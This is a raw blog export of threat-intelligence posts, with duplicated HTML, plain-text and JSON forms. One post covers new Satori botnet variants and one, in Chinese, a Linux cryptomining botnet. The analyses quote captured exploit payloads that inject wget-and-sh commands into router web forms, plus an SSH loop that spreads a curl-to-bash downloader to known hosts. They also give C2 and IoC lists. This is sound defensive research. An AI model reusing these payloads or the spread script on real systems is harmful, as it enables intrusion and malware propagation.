href="https://ddosmon.net/explore/185.71.67.43">observed 2</a> .</p> <h4 id="therecent80and8000portsscantrafficupticks">The Recent 80 and 8000 Ports Scan Traffic Upticks</h4> <p>This new variant caused scan traffic upticks on ports 80 and 8000, as can be seen on our ScanMon system, the two traffic growth start times are 2018-06-09 and 2018-06-14 respectively.</p> <p><img src="__GHOST_URL__/content/images/2018/06/scan-on-port-80.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/06/scan-on-port-8000.png" alt="" loading="lazy"></p> <p>The traffic growth on these two ports is caused by the Satori sample arm.bot.le and its updated version:</p> <ul> <li><strong>Port 80</strong>: The first packet in the scan traffic is the <code>GET / HTTP/1.0</code> same as the payload we observed in the arm.bot.le sample;</li> <li><strong>Port 8000</strong>: The first packet in the scan traffic is the <code>GET / HTTP/1.0</code> same as the payload we observed in the arm.bot.le sample;</li> </ul> <h4 id="homologyanalysis">Homology Analysis</h4> <p>We determine that these current malicious samples belong to the same Satori family:</p> <ul> <li><strong>Same C2 IP Address</strong>: the IP address 185.62.190.191 is a new sample’s Downloader (hxxp://185.62.190.191/arm.bot.le). This IP address is also the Downloader address used by Satori in the previous <a href="__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet-en/">GPON Zombie Party</a>.</li> <li><strong>Code similarity</strong>: A decryption code borrowed from MIRAI was used in Satori's okiru variant. Now this code is also used in the new sample.</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/06/code_snipper_unload.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/06/code_snipper_unload_2.png" alt="" loading="lazy"></p> <p>The above two figures show the encrypted code fragments from:</p> <ul> <li><strong>Satori samples in this round</strong>：F8D1D92E9B74445F2A0D7F1FEB78D639</li> <li><strong>Previous Satori Okiru branch</strong> : 0D39BF8EE7AC89DEC5DD8E541A828E15</li> </ul> <h4 id="satoriiscollectingtheipaddressoftheuchttpd100devices">Satori is Collecting the IP Address of the uc-httpd 1.0.0 Devices</h4> <p>Satori is collecting the IP address of the device fingerprint &quot;uc-httpd 1.0.0&quot; by scanning the 80/8000 port on the internet. The relevant pseudo code is as follows. Once a matching target is found, its IP is reported to 180.101.204.161:48101.</p> <p>This IP address is dynamic configured in r.rippr.cc domain DNS TXT record. In this way, the author can freely change the C2 IP address in the cloud, avoiding hard-coding in sample.</p> <p><img src="__GHOST_URL__/content/images/2018/06/code_snipper_scan.png" alt="" loading="lazy"></p> <h4 id="satoricurrentupdates">Satori Current Updates</h4> <p>Three hours ago, at 2018-06-15 07:00:00, Satori had another update. This time the update is a worm.</p> <ul> <li><strong>Vulnerability</strong>: A remote command execution vulnerability on D-Link DSL-2750B</li> <li><strong>Exploit</strong>: <a href="https://www.exploit-db.com/exploits/44760/">Disclosed</a> on May 25th</li> <li><strong>Scanning Port</strong>: 80 and 8080</li> <li><strong>It is Worm now</strong>: The exploit appears in both payload attacking our honeypot and the malware sample it delivers, it propagates as a worm now.</li> <li><strong>C2</strong>: 95.215.62[.]169:5600. The IP address is configured in the DNS TXT record of domain i.rippr.cc.</li> </ul> <p>Malware samples:</p> <pre><code>e0278453d814d64365ce22a0c543ecb6 hxxp://185.62.190.191/r b288d2f404963fbc7ab03fcb51885cc3 hxxp://185.62.190.191/mipsel.bot.le 78191f8f942b8c9b3b6cceb743cefb03 hxxp://185.62.190.191/arm7.bot.le 753cbfec2475be870003a47b00e8e372 hxxp://185.62.190.191/arm.bot.le 0a44d64fdf9aebfedf433fb679b8b289 hxxp://185.62.190.191/mips.bot.be </code></pre> <p>The attack payload hitting our honeypot:</p> <pre><code>GET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -&gt; /tmp/r;sh /tmp/r'$ HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World </code></pre> <p>The attack payload appears in the sample at the same time:<br> <img src="__GHOST_URL__/content/images/2018/06/worm-payload-in-sample.png" alt="" loading="lazy"></p> <h4 id="ioc">IoC</h4> <pre><code>185.62.190.191 Satori Downloader 180.101.204.161:48101 Satori Report r.rippr.cc Satori Reporter listed in this host's DNS TXT record 95.215.62.169:5600 Satori C2 i.rippr.cc Satori C2 listed in this host's DNS TXT record </code></pre> <p>Satori Malware Sample md5</p> <pre><code>f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7 f6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le 99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl 99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le e337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7 e337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le f8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm f8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le 656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le 31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le 426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le 44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le 476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le bdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le e193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r </code></pre> <!--kg-card-end: markdown-->

Two days ago, on 2018-06-14, we noticed that an updated Satori botnet began to perform network wide scan looking for uc-httpd 1.0.0 devices. Most likely for the vulnerability of XiongMai uc-httpd 1.0.0 (CVE-2018-10088). The scanning activities led to a surge in scanning traffic on ports 80 and 8000. About three hours ago, as we were writing this article, the Satori author released yet another update. Which is a worm, targeting for D-Link DSL-2750B device, the exploit was published on 5/25 here. Satori is a variant of the Mirai botnet. We first discovered this botnet on 2017-11-22. A week later, on 2017-12-05, Satori started to pick up, and infected more than 260,000 home routers within 12 hours. You can see our old blogs here and here. The security community took joint action soon. Multiple ISPs blocked the main Satori port 37215 in their networks. But satori did not stop. On 2018-01-08, we discovered that Satori has a successor Satori.Coin.Robber which tried to re-establish the botnet on ports 37215 and 52869. This new variant began to infiltrate the existing Claymore Miner mining devices on the internet by attacking their 3333 management port and replacing the wallet addresses. This is the first time we noticed botnets replace wallets addresses. You can see our old blog here. On 2018-05-10, another Satori variant joined the party for the vulnerable GPON devices (CVE-2018-10561, CVE-2018-10562). And Satori quickly kicked out other competitors in a short period of time and became the strongest player in the "GPON Zombie Party." You can see 4th blog about Satori here. And now we are looking at our 5th Satori blog … Satori Updates in the Past Few Days The core sample of Satori's recent activities is as follows: hxxp://185.62.190.191/arm.bot.le The exploited vulnerability was GPON (CVE-2018-10561). The attack Payload was: POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World Content-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+hxxp://185.62.190.191/r+-O+->/tmp/r;sh+/tmp/r&ipv=0 In this sample: * Information collection and reporting: The botnet scans the Internet, looking for the IP address that has the fingerprint of “uc-httpd 1.0.0”, and report the collected IP address to 180.101.204.161:48101. This IP is dynamic configured in r[.]rippr.cc DNS TXT record. * The C2: 95.215.62.169:5600. The C2 communication protocol is different from the previous versions * DDoS attack capability: four DDoS attack vectors are supported, including udp_flood, syn_flood, tcp_ack_floodand gre_flood This new variant has already launched at least two DDoS attacks. The details of the attack are as follows: * 2018-06-13 21:09:00 : TCP_ACK_FLOOD->(144.217.47.56:25565) * 2018-06-14 23:00:00 : UDP_FLOOD -> (185.71.67.43:53) This two attacks, were also logged by our DDosMon system, respectively observed 1 and observed 2 . The Recent 80 and 8000 Ports Scan Traffic Upticks This new variant caused scan traffic upticks on ports 80 and 8000, as can be seen on our ScanMon system, the two traffic growth start times are 2018-06-09 and 2018-06-14 respectively. The traffic growth on these two ports is caused by the Satori sample arm.bot.le and its updated version: * Port 80: The first packet in the scan traffic is the GET / HTTP/1.0 same as the payload we observed in the arm.bot.le sample; * Port 8000: The first packet in the scan traffic is the GET / HTTP/1.0 same as the payload we observed in the arm.bot.le sample; Homology Analysis We determine that these current malicious samples belong to the same Satori family: * Same C2 IP Address: the IP address 185.62.190.191 is a new sample’s Downloader (hxxp://185.62.190.191/arm.bot.le). This IP address is also the Downloader address used by Satori in the previous GPON Zombie Party. * Code similarity: A decryption code borrowed from MIRAI was used in Satori's okiru variant. Now this code is also used in the new sample. The above two figures show the encrypted code fragments from: * Satori samples in this round：F8D1D92E9B74445F2A0D7F1FEB78D639 * Previous Satori Okiru branch : 0D39BF8EE7AC89DEC5DD8E541A828E15 Satori is Collecting the IP Address of the uc-httpd 1.0.0 Devices Satori is collecting the IP address of the device fingerprint "uc-httpd 1.0.0" by scanning the 80/8000 port on the internet. The relevant pseudo code is as follows. Once a matching target is found, its IP is reported to 180.101.204.161:48101. This IP address is dynamic configured in r.rippr.cc domain DNS TXT record. In this way, the author can freely change the C2 IP address in the cloud, avoiding hard-coding in sample. Satori Current Updates Three hours ago, at 2018-06-15 07:00:00, Satori had another update. This time the update is a worm. * Vulnerability: A remote command execution vulnerability on D-Link DSL-2750B * Exploit: Disclosed on May 25th * Scanning Port: 80 and 8080 * It is Worm now: The exploit appears in both payload attacking our honeypot and the malware sample it delivers, it propagates as a worm now. * C2: 95.215.62[.]169:5600. The IP address is configured in the DNS TXT record of domain i.rippr.cc. Malware samples: e0278453d814d64365ce22a0c543ecb6 hxxp://185.62.190.191/r b288d2f404963fbc7ab03fcb51885cc3 hxxp://185.62.190.191/mipsel.bot.le 78191f8f942b8c9b3b6cceb743cefb03 hxxp://185.62.190.191/arm7.bot.le 753cbfec2475be870003a47b00e8e372 hxxp://185.62.190.191/arm.bot.le 0a44d64fdf9aebfedf433fb679b8b289 hxxp://185.62.190.191/mips.bot.be The attack payload hitting our honeypot: GET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$ HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World The attack payload appears in the sample at the same time: IoC 185.62.190.191 Satori Downloader 180.101.204.161:48101 Satori Report r.rippr.cc Satori Reporter listed in this host's DNS TXT record 95.215.62.169:5600 Satori C2 i.rippr.cc Satori C2 listed in this host's DNS TXT record Satori Malware Sample md5 f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7 f6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le 99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl 99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le e337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7 e337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le f8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm f8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le 656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le 31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le 426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le 44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le 476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le bdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le e193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Two days ago, on 2018-06-14, we noticed that an updated Satori botnet began to perform network wide scan looking for uc-httpd 1.0.0 devices. Most likely for the vulnerability of XiongMai uc-httpd 1.0.0 ([CVE-2018-10088](https://www.exploit-db.com/exploits/44864/)). The scanning activities led to a surge in scanning traffic on ports 80 and 8000.\n\nAbout three hours ago, as we were writing this article, the Satori author released yet another update. Which is a worm, targeting for D-Link DSL-2750B device, the exploit was published on 5/25 [here](https://www.exploit-db.com/exploits/44760/).\n\nSatori is a variant of the Mirai botnet. We first discovered this botnet on 2017-11-22. A week later, on 2017-12-05, Satori started to pick up, and infected more than 260,000 home routers within 12 hours. You can see our old blogs [here](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-en/) and [here](__GHOST_URL__/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/).\n\nThe security community took joint action soon. Multiple ISPs blocked the main Satori port 37215 in their networks. But satori did not stop. \n\nOn 2018-01-08, we discovered that Satori has a successor Satori.Coin.Robber which tried to re-establish the botnet on ports 37215 and 52869. This new variant began to infiltrate the existing Claymore Miner mining devices on the internet by attacking their 3333 management port and replacing the wallet addresses. This is the first time we noticed botnets replace wallets addresses. You can see our old blog [here](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en/).\n\t\nOn 2018-05-10, another Satori variant joined the party for the vulnerable GPON devices (CVE-2018-10561, CVE-2018-10562). And Satori quickly kicked out other competitors in a short period of time and became the strongest player in the \"GPON Zombie Party.\" You can see 4th blog about Satori [here](__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet-en/).\n\nAnd now we are looking at our 5th Satori blog …\n\n#### Satori Updates in the Past Few Days\n\nThe core sample of Satori's recent activities is as follows:\n```\nhxxp://185.62.190.191/arm.bot.le\n```\n\nThe exploited vulnerability was GPON (CVE-2018-10561). The attack Payload was:\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nHost: 127.0.0.1:8080\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Hello, World\nContent-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+hxxp://185.62.190.191/r+-O+->/tmp/r;sh+/tmp/r&ipv=0\n```\n\nIn this sample:\n\n - **Information collection and reporting**: The botnet scans the Internet, looking for the IP address that has the fingerprint of “uc-httpd 1.0.0”, and report the collected IP address to 180.101.204.161:48101. This IP is dynamic configured in r[.]rippr.cc DNS TXT record.\n - **The C2**: 95.215.62.169:5600. The C2 communication protocol is different from the previous versions\n - **DDoS attack capability**: four DDoS attack vectors are supported, including udp\\_flood, syn\\_flood, tcp\\_ack\\_floodand gre\\_flood\n\nThis new variant has already launched at least two DDoS attacks. The details of the attack are as follows:\n\n - 2018-06-13 21:09:00 : TCP\\_ACK\\_FLOOD->(144.217.47.56:25565)\n - 2018-06-14 23:00:00 : UDP\\_FLOOD -> (185.71.67.43:53)\n\nThis two attacks, were also logged by our DDosMon system, respectively [observed 1](https://ddosmon.net/explore/144.217.47.56) and [observed 2](https://ddosmon.net/explore/185.71.67.43) .\n\n#### The Recent 80 and 8000 Ports Scan Traffic Upticks\nThis new variant caused scan traffic upticks on ports 80 and 8000, as can be seen on our ScanMon system, the two traffic growth start times are 2018-06-09 and 2018-06-14 respectively.\n\n\n\n\nThe traffic growth on these two ports is caused by the Satori sample arm.bot.le and its updated version:\n\n - **Port 80**: The first packet in the scan traffic is the `GET / HTTP/1.0` same as the payload we observed in the arm.bot.le sample;\n - **Port 8000**: The first packet in the scan traffic is the `GET / HTTP/1.0` same as the payload we observed in the arm.bot.le sample;\n\n#### Homology Analysis\n\nWe determine that these current malicious samples belong to the same Satori family:\n\n - **Same C2 IP Address**: the IP address 185.62.190.191 is a new sample’s Downloader (hxxp://185.62.190.191/arm.bot.le). This IP address is also the Downloader address used by Satori in the previous [GPON Zombie Party](__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet-en/).\n - **Code similarity**: A decryption code borrowed from MIRAI was used in Satori's okiru variant. Now this code is also used in the new sample.\n\n\n\n\nThe above two figures show the encrypted code fragments from:\n\n - **Satori samples in this round**：F8D1D92E9B74445F2A0D7F1FEB78D639\n - **Previous Satori Okiru branch** : 0D39BF8EE7AC89DEC5DD8E541A828E15\n\n#### Satori is Collecting the IP Address of the uc-httpd 1.0.0 Devices\n\nSatori is collecting the IP address of the device fingerprint \"uc-httpd 1.0.0\" by scanning the 80/8000 port on the internet. The relevant pseudo code is as follows. Once a matching target is found, its IP is reported to 180.101.204.161:48101.\n\nThis IP address is dynamic configured in r.rippr.cc domain DNS TXT record. In this way, the author can freely change the C2 IP address in the cloud, avoiding hard-coding in sample.\n\n\n\n#### Satori Current Updates\n\nThree hours ago, at 2018-06-15 07:00:00, Satori had another update. This time the update is a worm.\n\n- **Vulnerability**: A remote command execution vulnerability on D-Link DSL-2750B\n- **Exploit**: [Disclosed](https://www.exploit-db.com/exploits/44760/) on May 25th \n- **Scanning Port**: 80 and 8080\n- **It is Worm now**: The exploit appears in both payload attacking our honeypot and the malware sample it delivers, it propagates as a worm now.\n- **C2**: 95.215.62[.]169:5600. The IP address is configured in the DNS TXT record of domain i.rippr.cc.\n\nMalware samples:\n```\ne0278453d814d64365ce22a0c543ecb6 hxxp://185.62.190.191/r\nb288d2f404963fbc7ab03fcb51885cc3 hxxp://185.62.190.191/mipsel.bot.le\n78191f8f942b8c9b3b6cceb743cefb03 hxxp://185.62.190.191/arm7.bot.le\n753cbfec2475be870003a47b00e8e372 hxxp://185.62.190.191/arm.bot.le\n0a44d64fdf9aebfedf433fb679b8b289 hxxp://185.62.190.191/mips.bot.be\n```\n\nThe attack payload hitting our honeypot:\n```\nGET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$ HTTP/1.1\nHost: 127.0.0.1\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Hello, World\n```\n\nThe attack payload appears in the sample at the same time:\n\n\n####IoC\n\n```\n185.62.190.191 Satori Downloader\n180.101.204.161:48101 Satori Report\nr.rippr.cc Satori Reporter listed in this host's DNS TXT record\n95.215.62.169:5600 Satori C2\ni.rippr.cc Satori C2 listed in this host's DNS TXT record\n```\n\nSatori Malware Sample md5\n```\nf6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm\nf6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7\nf6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le\n99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl\n99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le\ne337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7\ne337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le\nf8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm\nf8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le\n656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le\n31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le\n426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le\n44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le\n476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le\nbdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le\ne193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

129

post

2018-06-26T04:18:38.000Z

63873b9a8b1c1e0007f52f2c

a-fast-linux-mining-botnet-analyze

2018-10-06T09:04:46.000Z

public

published

2018-06-26T04:42:29.000Z

威胁快讯：一次僵尸挖矿威胁分析

<!--kg-card-begin: markdown--><p>友商发布了一个威胁分析 <a href="http://www.freebuf.com/vuls/175709.html">报告</a>，我们阐述一下从我们的角度看到的情况。</p> <h4 id="">核心样本</h4> <pre><code>hxxp://120.55.54.65/a7 </code></pre> <p>核心样本是个 Linux Shell 文件，后续动作均由该样本完成，包括：</p> <ul> <li>挖矿获利</li> <li>确保资源</li> <li>逃避检测</li> <li>横向扩展</li> </ul> <h4 id="">挖矿获利</h4> <p>具体的挖矿动作是由下面一组样本完成的：</p> <ul> <li>hxxps://www.aybc.so/ubuntu.tar.gz</li> <li>hxxps://www.aybc.so/debian.tar.gz</li> <li>hxxps://www.aybc.so/cent.tar.gz</li> </ul> <p>样本中的挖矿配置如下：</p> <ul> <li>矿池地址：xmr-asia1.nanopool.org:14433</li> <li>钱包地址：42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7</li> </ul> <p>查矿池给付记录可知：</p> <ul> <li>累计收益：52.403617565491 XMR</li> <li>当前算力：114,030.0 H/s</li> <li>开始时间：2018-02-28 14:30:03</li> <li>最近给付时间：2018-06-26 05:35:36</li> </ul> <h4 id="">确保资源</h4> <p>核心模块中为了确保挖矿资源，采取了若干对抗动作，包括：</p> <ul> <li><strong>杀进程</strong>：杀掉了其他挖矿进程运行，进程关键字包括 xig, cranbery, xmr,stratum,minerd</li> <li><strong>设防火墙规则</strong>：为防止竞争者DDG僵尸网络的矿机下载，屏蔽IP地址 165.225.157.157</li> <li><strong>调整hosts</strong>：屏蔽了若干矿池，包括 yiluzhuanqian, f2pool, minexmr 等等</li> </ul> <h4 id="">逃避检测</h4> <p>核心模块采取了若干动作对抗检测，包括：</p> <ul> <li><strong>调整文件时间</strong>，逃避 find 检索。使用 /etc/sudoers 文件的时间来对齐自身关键文件时间</li> <li><strong>隐藏进程</strong>：调用 libprocesshider ，来自github 上 gianlucaborello 的 libprocesshider项目</li> <li><strong>调整 ld.so.preload</strong>：按照友商的说法是隐藏进程</li> <li><strong>调整dns服务器</strong>：防止被从dns流量中分析出来，将本地DNS服务器设为 8.8.8.8 和 1.1.1.1</li> <li><strong>对抗阿里云、云镜</strong>：调用 aliyun、yunjing的uninstall脚本</li> <li><strong>删除日志和邮件</strong>：删除文件包括 /var/log/cron /var/spool/mail/root /var/mail/root</li> </ul> <h4 id="">横向扩展</h4> <p>检查本地 ssh 凭证，尝试进一步横向扩展，继续投递核心模块 a7</p> <pre><code>if [ -f /root/.ssh/known_hosts ] &amp;&amp; [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE &quot;\b([0-9]{1,3}\.){3}[0-9]{1,3}\b&quot; /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- hxxp://120.55.54.65/a7 | bash &gt;/dev/null 2&gt;&amp;1 &amp;' &amp; done fi </code></pre> <h4 id="ioc">IoC</h4> <p>主要模块</p> <pre><code>hxxp://120.55.54.65/a7 AS37963 Hangzhou Alibaba Advertising Co.,Ltd. </code></pre> <p>挖矿程序</p> <pre><code>hxxps://www.aybc.so/ubuntu.tar.gz hxxps://www.aybc.so/debian.tar.gz hxxps://www.aybc.so/cent.tar.gz </code></pre> <!--kg-card-end: markdown-->

友商发布了一个威胁分析 报告，我们阐述一下从我们的角度看到的情况。 核心样本 hxxp://120.55.54.65/a7 核心样本是个 Linux Shell 文件，后续动作均由该样本完成，包括： * 挖矿获利 * 确保资源 * 逃避检测 * 横向扩展 挖矿获利 具体的挖矿动作是由下面一组样本完成的： * hxxps://www.aybc.so/ubuntu.tar.gz * hxxps://www.aybc.so/debian.tar.gz * hxxps://www.aybc.so/cent.tar.gz 样本中的挖矿配置如下： * 矿池地址：xmr-asia1.nanopool.org:14433 * 钱包地址：42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7 查矿池给付记录可知： * 累计收益：52.403617565491 XMR * 当前算力：114,030.0 H/s * 开始时间：2018-02-28 14:30:03 * 最近给付时间：2018-06-26 05:35:36 确保资源 核心模块中为了确保挖矿资源，采取了若干对抗动作，包括： * 杀进程：杀掉了其他挖矿进程运行，进程关键字包括 xig, cranbery, xmr,stratum,minerd * 设防火墙规则：为防止竞争者DDG僵尸网络的矿机下载，屏蔽IP地址 165.225.157.157 * 调整hosts：屏蔽了若干矿池，包括 yiluzhuanqian, f2pool, minexmr 等等 逃避检测 核心模块采取了若干动作对抗检测，包括： * 调整文件时间，逃避 find 检索。使用 /etc/sudoers 文件的时间来对齐自身关键文件时间 * 隐藏进程：调用 libprocesshider ，来自github 上 gianlucaborello 的 libprocesshider项目 * 调整 ld.so.preload：按照友商的说法是隐藏进程 * 调整dns服务器：防止被从dns流量中分析出来，将本地DNS服务器设为 8.8.8.8 和 1.1.1.1 * 对抗阿里云、云镜：调用 aliyun、yunjing的uninstall脚本 * 删除日志和邮件：删除文件包括 /var/log/cron /var/spool/mail/root /var/mail/root 横向扩展 检查本地 ssh 凭证，尝试进一步横向扩展，继续投递核心模块 a7 if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- hxxp://120.55.54.65/a7 | bash >/dev/null 2>&1 &' & done fi IoC 主要模块 hxxp://120.55.54.65/a7 AS37963 Hangzhou Alibaba Advertising Co.,Ltd. 挖矿程序 hxxps://www.aybc.so/ubuntu.tar.gz hxxps://www.aybc.so/debian.tar.gz hxxps://www.aybc.so/cent.tar.gz

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"友商发布了一个威胁分析 [报告](http://www.freebuf.com/vuls/175709.html)，我们阐述一下从我们的角度看到的情况。\n\n####核心样本\n```\nhxxp://120.55.54.65/a7\n```\n\n核心样本是个 Linux Shell 文件，后续动作均由该样本完成，包括：\n\n - 挖矿获利\n - 确保资源\n - 逃避检测\n - 横向扩展\n\n#### 挖矿获利\n\n具体的挖矿动作是由下面一组样本完成的：\n\n- hxxps://www.aybc.so/ubuntu.tar.gz\n- hxxps://www.aybc.so/debian.tar.gz\n- hxxps://www.aybc.so/cent.tar.gz\n\n样本中的挖矿配置如下：\n\n - 矿池地址：xmr-asia1.nanopool.org:14433\n - 钱包地址：42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7\n\n查矿池给付记录可知：\n\n - 累计收益：52.403617565491 XMR\n - 当前算力：114,030.0 H/s\n - 开始时间：2018-02-28 14:30:03\n - 最近给付时间：2018-06-26 05:35:36\n\n####确保资源\n核心模块中为了确保挖矿资源，采取了若干对抗动作，包括：\n\n - **杀进程**：杀掉了其他挖矿进程运行，进程关键字包括 xig, cranbery, xmr,stratum,minerd\n - **设防火墙规则**：为防止竞争者DDG僵尸网络的矿机下载，屏蔽IP地址 165.225.157.157\n - **调整hosts**：屏蔽了若干矿池，包括 yiluzhuanqian, f2pool, minexmr 等等\n\n#### 逃避检测\n核心模块采取了若干动作对抗检测，包括：\n\n - **调整文件时间**，逃避 find 检索。使用 /etc/sudoers 文件的时间来对齐自身关键文件时间\n - **隐藏进程**：调用 libprocesshider ，来自github 上 gianlucaborello 的 libprocesshider项目\n - **调整 ld.so.preload**：按照友商的说法是隐藏进程\n - **调整dns服务器**：防止被从dns流量中分析出来，将本地DNS服务器设为 8.8.8.8 和 1.1.1.1\n - **对抗阿里云、云镜**：调用 aliyun、yunjing的uninstall脚本\n - **删除日志和邮件**：删除文件包括 /var/log/cron /var/spool/mail/root /var/mail/root\n\n####横向扩展\n 检查本地 ssh 凭证，尝试进一步横向扩展，继续投递核心模块 a7\n```\nif [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then\n for h in $(grep -oE \"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b\" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- hxxp://120.55.54.65/a7 | bash >/dev/null 2>&1 &' & done\nfi\n```\n\n####IoC\n主要模块\n```\nhxxp://120.55.54.65/a7\t AS37963 Hangzhou Alibaba Advertising Co.,Ltd.\n```\n\n挖矿程序\n```\nhxxps://www.aybc.so/ubuntu.tar.gz\t\nhxxps://www.aybc.so/debian.tar.gz\t\nhxxps://www.aybc.so/cent.tar.gz\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

130

post

2018-07-06T07:12:01.000Z

63873b9a8b1c1e0007f52f2d

hns-botnet-recent-activities

2018-10-06T09:04:52.000Z

public

published

2018-07-06T11:11:41.000Z

HNS Botnet 最近活动更新

